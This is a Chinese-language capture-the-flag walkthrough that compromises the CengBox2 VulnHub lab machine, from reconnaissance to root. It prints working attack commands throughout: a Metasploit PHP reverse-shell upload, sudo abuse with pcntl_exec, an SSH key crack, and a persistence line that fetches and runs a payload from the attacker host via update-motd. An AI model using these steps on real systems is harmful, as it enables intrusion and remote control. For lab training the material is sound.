VulnHub CengBox2靶机渗透

​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经受权,禁止转载。javascript


    
    
    
    
难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengBox2.ova天翼云盘:https://cloud.189.cn/t/nq6r6jQVRZBz百度网盘:https://pan.baidu.com/s/1EMIZg3x2ebqOdRmif4O2Jg 提取码:gt6g官网简介:Ceng Company彷佛正在维护,但仍可能运行着某些业务渗透目标:获取普通用户以及root用户权限本机地址:192.168.110.27靶机地址:192.168.110.30, 192.168.110.32

 

信息收集php

老规矩,仍是nmap开路。css

    
    
    
    
nmap 192.168.110.0/24

扫描结果显示共开启了3个端口,分别运行着FTP、SSH和HTTP服务。通常来讲,漏洞出如今HTTP服务的可能性最大,首先看看网站有什么敏感信息。html

显示网站正在维护,源码中也没有提供任何有用的信息。那么就须要使用dirb扫描网页目录了。java

    
    
    
    
dirb 192.168.110.30

只扫到了两个页面,index.html很明显是刚才访问的主页,而server-status是不可能有权限访问的,也就是说,dirb没有扫出有用信息。python

既然80端口找不到突破点,那么看看FTP服务可不能够匿名登陆。linux

    
    
    
    
ftp 192.168.110.30

能够匿名登陆,查看一下ftp目录下有什么敏感文件。web

    
    
    
    
ls

有一个名为note.txt的文件,无论三七二十一,先下载下来再说。shell

    
    
    
    
get note.txt

下载完成,查看文件内容。swift

文件内容提示Aaron用默认密码初始化了Kevin的帐号,而且把站点转移到了ceng-company.vm域下。猜想经过域名和IP访问网站的相应结果不一样。

修改hosts文件,把ceng-company.vm定向到192.168.110.30。

    
    
    
    
sudo vim /etc/hosts

接下来使用浏览器访问ceng-company.vm看看是否有不一样的返回结果。

很遗憾,仍是以前的页面。再次使用dirb扫描看看。

依然没有有用的信息,不过既然靶机做者给出了提示,那么突破点就应该在网页上。

考虑到ceng-company.vm是一级域名,而绝大多数网站都是经过二级域名访问的,例如www.sogou.com、blog.csdn.net等。所以考虑在ceng-company.vm前加上前缀,组成二级域名,看网站是否有不一样的响应。

    
    
    
    
vim /etc/hosts

这里添加了www、bbs、login、admin和blog这几个常见的前缀。通过测试,admin.ceng-company.vm会显示禁止访问,而其余二级域名则显示与ceng-company.vm同样的结果。

admin.ceng-company.vm必定有猫腻,再次使用dirb扫描。

    
    
    
    
dirb http://admin.ceng-company.vm

此次的结果更惨,只扫到一个页面。虽然没有扫描出什么结果,但admin.ceng-company必定是靶机的突破口,应该是dirb默认的字典不够大才没法扫描到有用的结果。

结合之前使用dirbuster须要一个小时才能扫描完成的经历,将默认字典换成dirbuster的字典再次尝试,因为dirbuster的自带的字典过于庞大,须要使用-w参数才能正常使用。

    
    
    
    
dirb http://admin.ceng-company.vm /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w

功夫不负有心人,通过漫长的等待,终于发现了一个能够访问的目录。

网页端查看该目录,发现是一个CMS。

点击网页的全部连接发现没有有用的信息后,尝试访问login页面。

因为note.txt中给出了提示,Kevin的帐号是使用默认密码初始化的,尝试E-mail为kevin@ceng-company.vm,密码为admin登陆。

登陆成功后网页又跳转到初始页面,那么就试试admin页面。

查看页面内容后发现Content -> File Manager能够上传文件。

 

经过这个页面应该能够上传PHP木马,接下来须要配合msf等工具生成PHP木马,并获取靶机的远程shell。

 

漏洞利用

 

首先须要使用msf生成PHP木马。

    
    
    
    
msfconsoleuse multi/script/web_deliveryset payload php/meterpreter/reverse_tcpset LHOST 192.168.110.27set target PHPrun

这几条命令将会生成shell命令,复制eval部份内容保存成php脚本文件,而后上传到靶机上。

 

显示上传成功,可是在网页端并无查看到shell.sh,可能被服务器过滤了。接下来尝试上传到tmp目录。

上传成功,访问admin.ceng-company.vm/gila/tmp/shell.php。

显示禁止访问,这应该与.htaccess文件有关,打开.htaccess,重命名为.htaccess.bak。

闯大祸了,修改文件名以后全部的页面都不可访问,这下完全没有办法了。因为没有对靶机作备份,须要从新导入ova文件,靶机的IP更新为192.168.110.32。

这里的缘由是删除了根目录下的.htaccess,原本只须要删除tmp下的.htaccess文件便可。

将其重命名为.htaccess.bak。

而后再访问admin.ceng-company.vm/gila/tmp/shell.php。

msf成功获取靶机shell。

    
    
    
    
sessions l

 

    
    
    
    
sessions -i 1shell

将很差用的shell改成bash。

    
    
    
    
whereis python

系统中安装了python2.7和python3.5。

    
    
    
    
python3.5 -c 'import pty; pty.spawn("/bin/bash")'

 

权限提高

切换到家目录查看有哪些用户。

    
    
    
    
cd /homedir

其中没法进入mitnick目录,能够进入swartz目录。

查看当前目录下有没有能够利用的文件。

    
    
    
    
ls -l

查看文件内容。

    
    
    
    
cat runphp.sh

该文件的功能为交互式运行php,查看是否能够以swartz权限执行该脚本。

    
    
    
    
sudo -l

果真,是能够免密码以swartz权限执行runphp.sh的。

    
    
    
    
sudo -u swartz ./runphp.sh

须要注意参数,./runphp.sh和/home/swartz/runphp.sh均可以,可是不能直接使用文件名,不然仍是须要输入密码。

接下来使用交互式php获取swartz的shell。

    
    
    
    
pcntl_exec('/bin/bash');

再次尝试进入mitnick家目录。

成功进入,查看该目录下有无提示。

    
    
    
    
ls -la

有一个名为user.txt的文件,可是没有任何权限,很明显,这是在提示须要提权到mitnick用户才能进入下一步。

查找一下有什么文件能够以mitnick或root权限运行。

    
    
    
    
sudo -l

很遗憾,须要密码。这时候注意到mitnick家目录下有.ssh文件夹,进入文件夹查看。

查看id_rsa。

接下来尝试使用John the Rapper暴力破解密码。

    
    
    
    
nc -lvvp 31337 < id_rsanc 192.168.110.32 31337 > mitnick.key

将mitnick.key转换成john可识别的文件。

    
    
    
    
/usr/share/john/ssh2john.py mitnick.key > mitnick.johncat mitnick.john

使用John the Rapper暴力破解。

    
    
    
    
locate rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt mitnick.john

几秒钟就将密码爆破出来了。接着使用mitnick.key登陆靶机。

    
    
    
    
ssh -i mitnick.key mitnick@ceng-company.vm

没法登陆,缘由是mitnick.key权限为644,须要改为600才能登陆。

    
    
    
    
chmod 600 mitnick.keyssh -i mitnick.key mitnick@ceng-company.vm

查看user.txt

    
    
    
    
cat user.txt

第一个flag已经拿到。如今须要提权到root,首先查找有哪些能够利用的文件。

    
    
    
    
find / -type f -perm -g+rwx 2>/dev/null

update-motd.d文件夹下的脚本会在用户经过SSH登陆时由root运行,主要的做用是在登陆时显示消息。既然有写权限,那么进行反弹shell。

使用msf生成反弹shell脚本。

    
    
    
    
use multi/script/web_deliveryset payload linux/x86/shell_reverse_tcpset LHOST 192.168.110.27set target Linuxrun

执行以后将会生成一个wget命令。

将该命令写进脚本并设置可执行权限。

    
    
    
    
  1. echo "wget -qO gA5sN4z7 --no-check-certificate http://192.168.110.27:8080/kVEbfSR4mAORkbG; chmod +x gA5sN4z7; ./gA5sN4z7& disown" > rootShell.sh
  2. chmod 777 rootShell.sh

最后将rootShell.sh写进00-header。

    
    
    
    
echo "sh /home/mitnick/rootShell.sh" >> /etc/update-motd.d/00-header

注销SSH会话,从新链接。

    
    
    
    
exitssh -i mitnick.key mitnick@192.168.110.32

此时msf已经成功获取shell。

    
    
    
    
sessions -lsessions -i 1

检查权限,切换成bash。

    
    
    
    
idpython3.5 -c 'import pty; pty.spawn("/bin/bash")'

查找flag。

    
    
    
    
cd /rootlscat root.txt

至此,对靶机的渗透已经所有完成。

相关文章
相关标签/搜索